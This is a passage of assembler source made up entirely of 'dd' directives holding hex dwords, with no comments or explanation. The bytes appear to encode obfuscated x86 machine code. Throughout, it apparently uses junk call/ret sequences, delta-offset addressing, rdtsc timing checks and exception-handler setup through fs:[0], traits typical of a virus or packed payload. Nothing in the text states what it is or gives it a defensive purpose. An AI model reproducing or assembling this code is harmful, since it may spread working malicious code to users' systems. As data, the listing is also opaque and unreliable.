8B505F5Bh, 0B70F90D9h, 6A006ADEh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0B8E7C353h, 617F8D68h, 81DE8AE6h, 84722404h, 0BD8B19BDh dd 61324B1h, 0A3D95FFh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8B8F73C3h, 548589FBh dd 6A0616C4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 767FC356h, 6890Fh, 9D8B0000h dd 6132BB5h, 21E59D89h, 35E90613h, 0BF000001h, 27AE1CAEh dd 0C44C858Bh, 81660616h, 99A86C3h, 1319D18Dh, 1800C706h dd 89000000h, 1304DD8Dh, 50B58B06h, 6A0616C4h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A554C357h, 858B41EEh, 6132A55h, 0D519D89h, 6890613h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6CC35343h dd 0ABB33CA0h, 26025C2Dh, 8BDA8B56h, 132BB985h, 38F0F06h dd 80000000h, 4689B1F7h, 0B5BD8B04h, 96061331h, 9AC2BF66h dd 0AE950h, 57CA0000h, 3122840Dh, 0A43C2397h, 4CB5FF96h dd 500616C4h, 0C0D9D8Bh, 0E85B0613h, 4, 1F03FFh, 5350DA8Bh dd 0D9A624BBh, 448B5F01h, 0BA600424h, 146BB95Bh, 9F56BE66h dd 50008B61h, 0DE852h, 0B58F0000h, 8CB30F6Dh, 0C7EB2E15h dd 0BFC5E8B8h, 38881AC0h, 8B310F5Bh, 89585AFEh, 0B3042444h dd 860F58D7h, 0Fh, 0AE9h, 20AEFB00h, 86646E9Ch, 8DC3C38Ah dd 16C45485h, 0FBB70F06h, 7AB0BB50h, 4893BC4h, 3D95FF24h dd 5206130Ah, 5BDBBF0Fh, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0B63C75h, 29D9CD18h, 305585C7h dd 30613h, 0B5310000h, 6131FBDh, 0C454BD83h, 0F000616h dd 6984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 1BAEC4A0h, 36D86996h, 0DF8B6625h dd 56E98CB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 563BC357h, 13E8h, 46011400h dd 0BC62C0A6h, 1478D424h, 81FB16BBh, 0EE814A2Dh, 2F7E70BFh dd 30505F6Ch, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 9B7B9E0Eh, 13B3C4D3h, 9D894316h dd 6131CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 4AC35141h, 1C48FE30h, 1B19BD8Bh, 0BD830613h, 6133055h dd 91850F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CEECC355h, 2BFE659Fh dd 0C454BD83h, 0F000616h, 46384h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 11E920E1h dd 0AC000000h, 0DE7328C0h, 0A57FA2FDh, 92E231A7h, 4D9F6644h dd 0C454B5FFh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 8AF105C3h, 0E38166F4h, 95FF3EF2h dd 6130969h, 0C448B58Bh, 6A0616h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0F55B4CC3h, 15E68160h dd 8B7D37F4h, 8B6661DAh, 106C7FBh, 6A000100h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 81E4C353h, 4EFC0FF3h, 14E85018h, 0E3000000h, 6C201EA3h dd 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch, 8BB42FC4h, 34895BD9h dd 54B5FF24h, 660616C4h, 0FF6A54BFh, 13322995h, 14E806h dd 45F30000h, 0DAD4BEBDh, 0FB360DAh, 0B173019h, 9CFAB2D7h dd 895F4308h, 13093585h, 48B58B06h, 8B0616C4h, 13063185h dd 0BE806h, 0B92D0000h, 56740744h, 0E37A7015h, 0FE8B66BCh dd 39B5295Fh, 89061312h, 0C486h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0BCE930EBh dd 870Fh, 81660000h, 8BC63BCBh, 131BBD95h, 0DE8B6606h dd 0F04C283h, 0B70FDFB7h, 205089FEh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 14C35141h, 0F8B70FDCh, 148ABF66h dd 0D8E3858Dh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 463201C3h, 483FFE11h, 89DABF0Fh dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0F13B84C4h, 0F9F96060h, 0D15BD89h dd 6A0613h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0E7C35646h, 0C4C3A563h, 0D4F9EB81h, 0B5FF085Dh dd 616C454h, 9595FFF8h, 8B06131Eh, 1325299Dh, 890F9606h dd 4, 61585360h, 48E0F50h, 52000000h, 965F6160h, 0F19D8B60h dd 6606130Ah, 0FC37E881h, 54B5FF61h, 6A0616C4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 3CD4C353h, 7DDD9667h, 0A59D8B2Dh, 0FF061324h, 13214595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 3A2E624Ah, 83D4915Ah, 131495BDh, 840F0006h dd 1Ch, 1F37BB66h, 6E850h, 99FA0000h, 182C75A7h, 895FF98Ah dd 9D8B2434h, 6131719h, 0C454B5FFh, 6A0616h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 877A4CC3h dd 0E498FF48h, 14E8EAh, 950F0000h, 93D2FA70h, 0F25009B5h dd 0E96FA035h, 7B9C3BC1h, 9D016E31h, 6130559h, 99BD8B5Fh dd 0FF06130Ah, 1305AD95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 86EB1F2Bh dd 0D9F7C487h, 0D381CD53h, 56CE275Ch, 0C454B5FFh, 9D8B0616h dd 613051Dh, 120995FFh, 0BB660613h, 0BD8379D5h, 6130511h dd 0C2840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 591DC356h, 80AFF9EFh dd 0E85F096Ah, 0Ah, 0A55F7D87h, 622F02C7h, 0B5318AA1h dd 6132B35h, 14E85Fh, 11450000h, 59CAAF63h, 3637E17Eh dd 509F138Ah, 307EC688h, 9D238082h, 6130A75h, 55858B5Fh dd 6A06130Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C410C356h, 1DE9031Eh, 57D99E3Ch dd 0C65B3AB7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0FE4EDC3h, 0E8Fh, 0C8816000h, 12811C47h dd 8A0Fh, 1610000h, 132FA5B5h, 5185C706h, 6131Eh, 0E8000000h dd 11h, 144535Ah, 0A7F5F116h, 972EC9C1h, 5347AA36h, 0E1BB6623h dd 0B5295BF1h, 6132ED9h, 0FFF316E9h, 11E9FFh, 3B8B0000h dd 15117FEEh, 71FB26D1h, 30630476h dd 60341D71h, 1E018D89h, 14E90613h, 30000000h, 6FD3D4FDh dd 0FD216162h, 0A79B1F1Bh, 79E63817h, 61C674F7h, 0CFBBC18Bh dd 8D6773BFh, 131EA985h, 8880F06h, 60000000h, 2A258D89h dd 90610613h, 5830Fh, 66500000h, 505FFE8Bh, 6DF5BF66h dd 0C840F90h, 0F000000h, 680h, 99BD8900h, 0E806130Bh, 13h dd 0A109449Bh, 98B052E7h, 0EAAE658Fh, 0E0F448C6h, 0F0931DCh dd 6A5BDFB7h, 0FEB70F00h, 9529006Ah, 6130A99h, 2C4858Dh dd 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0C083C9C3h, 85850105h, 5006130Dh, 310F5250h dd 489585Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0EAFEC251h, 8486D6B6h, 8D89C1ADh dd 6133231h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD29F5C3h, 61329ADh, 0BD03006Ah dd 61307F5h, 7F195FFh, 81660613h, 8D1B44D7h, 16A36A8Dh dd 23D1FF06h, 130A6D9Dh, 3DBD8306h, 1061317h, 60850Fh dd 820F0000h, 1, 6A026AF8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F0EDC355h, 0D0DFA4D4h dd 9F04E2BBh, 219DBD8Bh, 9D8B0613h, 6133091h, 9E950h, 2C110000h dd 0ABD6E574h, 89292D26h, 9D8B2404h, 6130F21h, 1E9595FFh dd 0BD890613h, 6132C8Dh, 2AE9DE8Ah, 0E800000Dh, 0 dd 0CEED815Dh, 66061802h, 43ADD381h, 2A05BD8Bh, 9D8B0613h dd 6132821h, 8F5E858Dh, 50FC0616h, 3631B5BFh, 24048976h dd 8B666051h, 0CC02BACFh, 5F617FC1h, 35FF64h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4C66C352h, 8964FE8Bh, 25h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F511DA7h, 0F5BDAB7h, 88Bh, 0F7815200h, 2F311485h, 0D985FF5Fh dd 8B061316h, 1310D9BDh, 0CD9D2906h, 6A061307h, 0EF8166FFh dd 0B5FFDEC4h, 6132CA1h, 8E0Fh, 95FF0000h, 61331ADh, 0D2E9h dd 0ED9D8B00h, 0B0061301h, 0B70F5000h, 70E65FFAh, 0F88B71E4h dd 830F613Ch, 0B7h, 0AC99589h, 0B60F0613h, 958957C8h, 613309Dh dd 6BA5Fh, 8E0F0000h, 4, 3BFBB66h, 0BF0FC18Bh, 4E8C1FBh dd 0EE9h, 0B0593400h, 53AC1D99h, 3D6FB4F6h, 667BE89Eh dd 2BFCE2F7h, 0BEECBBC8h, 0D18B7E6Eh, 6AE9h, 0BDBD2900h dd 8B061311h, 131ECD9Dh, 50858B06h, 5247554Ch, 5B2DCB80h dd 8007C083h, 0C08334CBh, 6BDFBF00h, 0B70F298Dh, 0FD03BDBh dd 883h, 35E900h, 0DB800000h, 0FF8D8B65h, 89FFFFFFh, 131711BDh dd 1E18306h, 1D840Fh, 0B5090000h, 6130A51h, 0FFFFA583h dd 0BFFEFFFFh, 455E402Ah, 4C509589h, 0E94755h, 8D000000h dd 177FC7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 8D99003Dh, 2F04DB81h, 6A75A1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5CC35040h, 0A71181F7h dd 0DBB13F7Dh, 655BD8Bh, 95FF0613h, 6130DA9h, 3E56BB66h dd 0FABB9h, 0B19D8900h, 83061314h, 35B7FCE1h, 6EE4BBFCh dd 0B86DB3h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0C3BBC353h, 0CF582182h dd 7E8413Ah, 91000000h, 0B69B70DCh, 810FB8A5h, 5, 6FF78166h dd 0D22B5F51h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 54C35747h, 0F7B1A3ECh, 0BD8B63BBh, 0C233AD4Ch dd 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 8B7871A5h dd 8166C507h, 0D166BE7h, 88h, 165B589h, 958B0613h, 6131BBDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h dd 0FA64A200h, 68D6105Eh, 8820F90h, 52000000h, 0A58529h dd 8B5B0613h, 1318DD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 7F12BC30h, 0A19D8955h dd 50061319h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 28939761h, 4690456Ch, 3880F07h, 80000000h dd 840F06DFh, 5, 553C62BFh, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0FC189905h dd 284C511Dh, 7299D09h, 9D8B0613h, 6132B99h, 1D1DBD83h dd 0F000613h, 8484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 66352C40h, 0B88B9FBBh dd 0 dd 5BF88B52h, 958D89h, 8D8D0613h, 6134F8Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9EC35242h, 0D33BBF66h dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 729A7C3h, 0A102B943h, 811108AAh, 2F0775CBh dd 55BD8323h, 61330h, 3E6840Fh, 9D8B0000h, 61310A9h, 3055BD83h dd 0F010613h, 3EE84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 3C6DD081h, 6030F84Eh dd 9589CA8Bh, 613320Dh, 55BD8361h, 3061330h, 37F860Fh dd 6A600000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9DD5C352h, 0BC32E7C1h, 104C3994h dd 94DBD31h, 8C660613h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0E781857Eh, 5B830CEh dd 8004E180h, 8B0F33CBh, 6, 0B41BD8Bh, 0C90A0613h, 11F840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0B327D9C3h, 918D093Ah, 8B061312h, 132BB985h dd 4BDBBF06h, 85333E4Eh, 61305B9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 94C35242h, 2EF86C4Dh, 46780610h dd 9810F50h, 60000000h, 11AE41B8h, 6129B464h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 9E36C352h, 816AC853h, 0FE9006Ah, 5B000000h dd 8B9E9E3Bh, 2113D4BDh, 0EB3DEA7Fh, 9F68E8ECh, 0E86E5172h dd 0Ch, 0F7FA2F2Ah, 0CD4019BFh, 0B5B06591h, 0F84CBF66h dd 2434815Fh, 6E4E7160h, 0EAF78166h, 3D95FF08h, 8106130Ah dd 0A09D5D3h, 54858910h, 6A0616C4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0FE74C351h dd 1BAE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 0D114FE64h, 4C858B17h, 660616C4h dd 0C7F88Bh, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0CC35242h, 2C355654h, 468F23D8h, 5459D89h, 0B58B0613h dd 616C450h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0DEC35747h, 66B29091h, 858BFB8Bh, 6132A55h, 2835B589h dd 6890613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 5DC35040h, 130EDE52h, 0DE9h, 369DA800h, 0B17D9950h dd 86FE4689h, 858B73FCh, 6132BB9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0E9C35141h, 8166F17Eh, 89E7ECC3h dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0F8E9E4C3h, 3F97FD85h, 0FEB70F2Bh, 12458589h dd 9D8B0613h, 6131065h, 0B193BB96h, 66504120h, 96CD71BFh dd 0B5FFD98Bh, 616C44Ch, 0B0DB8166h, 5200682Bh, 0BB66C863h dd 48148BAh, 0BBB1FF24h, 8D86B337h, 16C45485h, 2BF6606h dd 658589A8h, 90061332h, 0F7BF6650h, 6A90BFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 44F8F2C3h dd 0A6236194h, 138FBFDBh, 95FF4B01h, 6130A3Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B9C35747h, 0AEF67D7Ch dd 311246B5h, 1DB501E7h, 61061321h, 85C74CB7h, 6133055h dd 3, 8E9h, 3686E800h, 117C2D4Bh, 54BD8354h, 616C4h, 33840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD8BE2C3h, 6130959h, 27E9h, 6870F00h, 8B000000h dd 1330859Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 25519589h, 6A0613h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 5F22B2C3h, 2FF96FB0h, 602618D3h, 12E8h, 6CCD7D00h, 88FDFC78h dd 0AB50184Dh, 0CF6DB88h, 60A0F35Ch, 95895961h, 6130EA9h dd 55BD8361h, 3061330h, 424850Fh, 0E3810000h, 9AAB3A7h dd 0C454BD83h, 0F000616h, 41184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 9F3E886h, 132F8D95h dd 54B5FF06h, 890616C4h, 1332319Dh, 6995FF06h, 6A061309h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6662C350h, 0D973EF81h, 0C448B58Bh, 0EF810616h dd 0E96E374h, 106C7h, 89FC0001h, 130911B5h, 0BB669606h dd 0E850983Ah, 5, 4F5AC06Eh, 6A965FFEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8B58C351h dd 0B85D627h, 0A449C6EDh, 0ED9D8B50h, 5B06130Eh, 0C454B5FFh dd 4EBB0616h, 0FF4C7858h, 13322995h, 88A0F06h, 0F000000h dd 28Eh, 8BF88B00h, 16C448B5h, 31858B06h, 6A061306h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 4895C352h, 70BFFCFDh, 897EF988h, 0C486h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 31CDC766h, 1312398Dh, 0BD958B06h, 6A06131Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 3B23C355h, 6EB95786h, 0E9326C5Fh, 9, 5A703542h, 0FAD0B85Fh dd 0D19D8B32h, 83061319h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 5429C2C3h, 5BC791Dh dd 0BE9h, 51D0800h, 0BE6C8BDFh, 37DCBEF5h, 6A205089h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 6C33C353h, 60E45EA6h, 0A0F657DDh, 0ED858960h, 8B061304h dd 132D298Dh, 858D6106h, 616D8E3h, 0AE70BB66h, 0B88689h dd 0BD0B0000h, 6132FA5h, 2EB9BD8Bh, 6A0613h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 82C35646h, 715B589Dh dd 51BD8BD6h, 0FF061316h, 16C454B5h, 51DB8106h, 0FF5D92CDh dd 131E9595h, 0DE906h, 140F0000h, 124D8AB0h, 0D3959886h dd 9635DDDEh, 208C68BBh, 0FE8507Dh, 4000000h, 0BBC66F17h dd 37725348h, 0F4659D11h, 0D98B500Fh, 0BD8B965Bh, 613193Dh dd 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 95FFABC3h, 6132145h, 1495BD83h dd 0F000613h, 3884h, 6D9D8B00h, 5006131Fh, 1E418589h, 505F0613h dd 4890Fh, 0BF660000h, 3489EBB1h, 11E924h, 8E7E0000h, 20DEEC21h dd 951F952Ch, 0B9C48100h, 819FBF4Dh, 0DBECD0D3h, 54B5FF76h dd 6A0616C4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9261C351h, 0CF55401h, 307D3EE5h dd 118E0Fh, 0CE90000h, 64000000h, 0FF3A9579h, 6547C9Ah dd 0F877FB4h, 681h, 79BD8900h, 0FF061323h, 1305AD95h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 8596DF3Ah, 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BB6629C3h, 9D8B1CCCh dd 6132C61h, 120995FFh, 89F90613h, 130B7D95h, 11BD8306h dd 2061305h, 65840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0CBD97FC3h, 0C220147Fh dd 9D2B97F7h, 61314F1h, 18F9BD29h, 858B0613h, 6130F55h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D5C35343h dd 4CD86FE9h, 8BD0EB61h, 130B8DBDh, 0C606h, 0C7FE8B66h dd 131E5185h, 6, 178C0F00h, 0E9000000h, 12h, 38B54071h dd 0C2F6F9B4h, 1114BEFDh, 4DAC65Ch, 0D8E9A5D7h, 8BFFFFF3h dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0D70FB1CBh, 3E22CB86h, 0E9602C9Ch, 13h dd 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh dd 0Ch, 0B01FCAEDh, 7B4E51AFh, 45CEF2EBh, 1F618D01h, 615B0613h dd 0A9858DF5h, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 9042C357h, 0AE850h dd 46520000h, 911DBCB1h, 961D0BD5h, 0EE8h, 18468B00h, 63214F23h dd 17D3BC7Fh, 6056A674h, 905B5F61h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 12C35747h, 66674C16h, 66006A08h dd 6AEE98BBh, 49D78100h, 8D5F3E0Dh, 18121185h, 5D9D8B06h dd 83061301h, 0BF6605C0h, 60900D4Bh, 0EE8h, 0DE77EA00h dd 0CC25E4D9h, 0F1844AEEh, 0B1E53AFBh, 0EA8A5E08h, 52505061h dd 0A7DFE7BFh, 5A310F47h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1BB755C3h, 0BD898CA9h dd 6132269h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0AD0ED0C3h, 2132AAB3h, 0B340D781h dd 6A57CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0D9C35040h, 0F195FFA5h, 0B3061307h, 0B8F0FDEh dd 0F000000h, 587h, 0F31BB00h, 8D8D31A3h, 616A36Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 34DAD632h dd 0B70F5600h, 0D1FF5BFEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0CDC35141h, 173DBD83h, 0F010613h, 8A85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0DDBD3337h, 6A061331h, 45BB6602h, 0CDBF90DDh dd 504C669Bh, 0C8F0Fh, 8C0F0000h, 6, 310F5250h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 4676C353h, 13E9231Dh, 0C8000000h, 5C5D065Fh dd 109415D2h, 0EE98594Ch, 68F4B03Eh, 0DB8137AEh, 1464AD93h dd 1E9595FFh, 0F0BB0613h, 0E92CDA72h, 0D90h, 0E8h, 0ED815D00h dd 618121Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0D3C35141h, 1E99BD8Bh, 0F88B0613h, 8F5E858Dh, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 1800B6C3h, 5090D9CDh, 7CBF6650h, 89905FCAh, 131569B5h dd 35FF6406h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CC35646h dd 0ABE2E03Ah, 8BED8EF2h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FF41C355h, 1316D985h, 0BFFF6A06h, 2562912Fh, 20B9B5FFh dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 2B0173C3h, 0EC4617C5h, 56736375h, 287DBD8Bh dd 0FF5F0613h, 1331AD95h, 130E906h, 9D030000h, 6131381h dd 816600B0h, 0E65DDEEFh, 3880F70h, 80000000h, 71E47CD7h dd 1B99B589h, 613C0613h, 108830Fh, 0FF50000h, 5F53C8B6h dd 6BAh, 29858900h, 8B06132Ah, 0C99D89C1h, 6006130Ah, 6EB3B866h dd 91E88166h, 0E8C1613Eh, 1111BF04h, 0F7667628h, 0B0BF66E2h dd 0C82BF53Ch, 9D01D18Bh, 6130E89h, 0D698D89h, 0BFE90613h dd 0E8000000h, 12h, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h dd 75743C53h, 8B5BFC5Bh, 4E4985h, 6850F44h, 89000000h dd 130E2995h, 837AB706h, 9D0B07C0h, 61307E1h, 6600C083h dd 3B50A6BBh, 13830FD0h, 89000000h, 131FF585h, 70E906h dd 850F0000h, 2, 8D8BF88Bh, 0FFFFFFFFh, 0E2B0BB66h, 38B0Fh dd 8B660000h, 1E183FEh, 4C840Fh, 85010000h, 613131Dh, 0FFFFA583h dd 8BFEFFFFh, 0ED9D29FEh, 8906132Bh, 4E4995h, 0D88B6644h dd 0BE8h, 0EFE95500h, 23512A09h, 62E0BA56h, 0EE860h, 5C090000h dd 431990DEh, 43C2B46Bh, 0E9E2FE8Ah, 61FE8B58h, 0E95Bh dd 0B58D0000h, 6178F72h, 6ADF8Bh, 95FFA4B7h, 6130DA9h dd 0E7B9FC8Ah, 8B000011h, 132BA59Dh, 0FCE18306h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5A09BF67h dd 405A7CBFh, 9D8BFC41h, 61331A5h, 0B8h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 261C9981h, 0CD3E3598h, 816614AFh, 0E98801E7h, 0Ch, 7B1EEC61h dd 63D6ED1Bh, 1F3AB5CAh, 0BAF88Bh, 0F000000h, 128Eh, 0DE900h dd 0A8820000h, 1894DDF7h, 0D6D36D31h, 0ADA69FB9h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0DD8AC350h, 3CA572C9h dd 89823AC6h, 1331C595h, 0CB816606h, 880D8112h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 8FB8C356h, 3B3DBA85h, 89F02428h, 130E7185h dd 5840F06h, 66000000h, 0F2F2D381h, 1BBD958Bh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 689D92C3h, 0EC6290A1h, 11BD8B11h, 66061300h, 8D8BD98Bh dd 61318DDh, 840Fh, 8B500000h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6ADEB70Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0D44BC351h, 56699C11h dd 24F9B501h, 0BB660613h, 0BD83D614h, 6131D1Dh, 25840F00h dd 8B000000h, 132B71BDh, 0B806h, 0BD8B0000h, 6130FE9h dd 4F8D8D8Dh, 0BD8B0613h, 6132BEDh, 8D09E1FFh, 6130D79h dd 3055BD83h, 0F000613h, 41D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1374F2A9h dd 32C2BDC1h, 81667709h, 8350FCD3h, 133055BDh, 840F0106h dd 401h, 0A0D9D03h, 0BD830613h, 6133055h, 0B8860F03h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7A64C351h, 76AD636Fh, 1CBB6048h, 6608A750h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 4E2E8EC3h, 898D28BAh, 13239585h, 4E18006h dd 27DB8150h, 5F23B088h, 152DBD09h, 0C90A0613h, 0FC840Fh dd 6A0000h, 3E852h, 5A200000h, 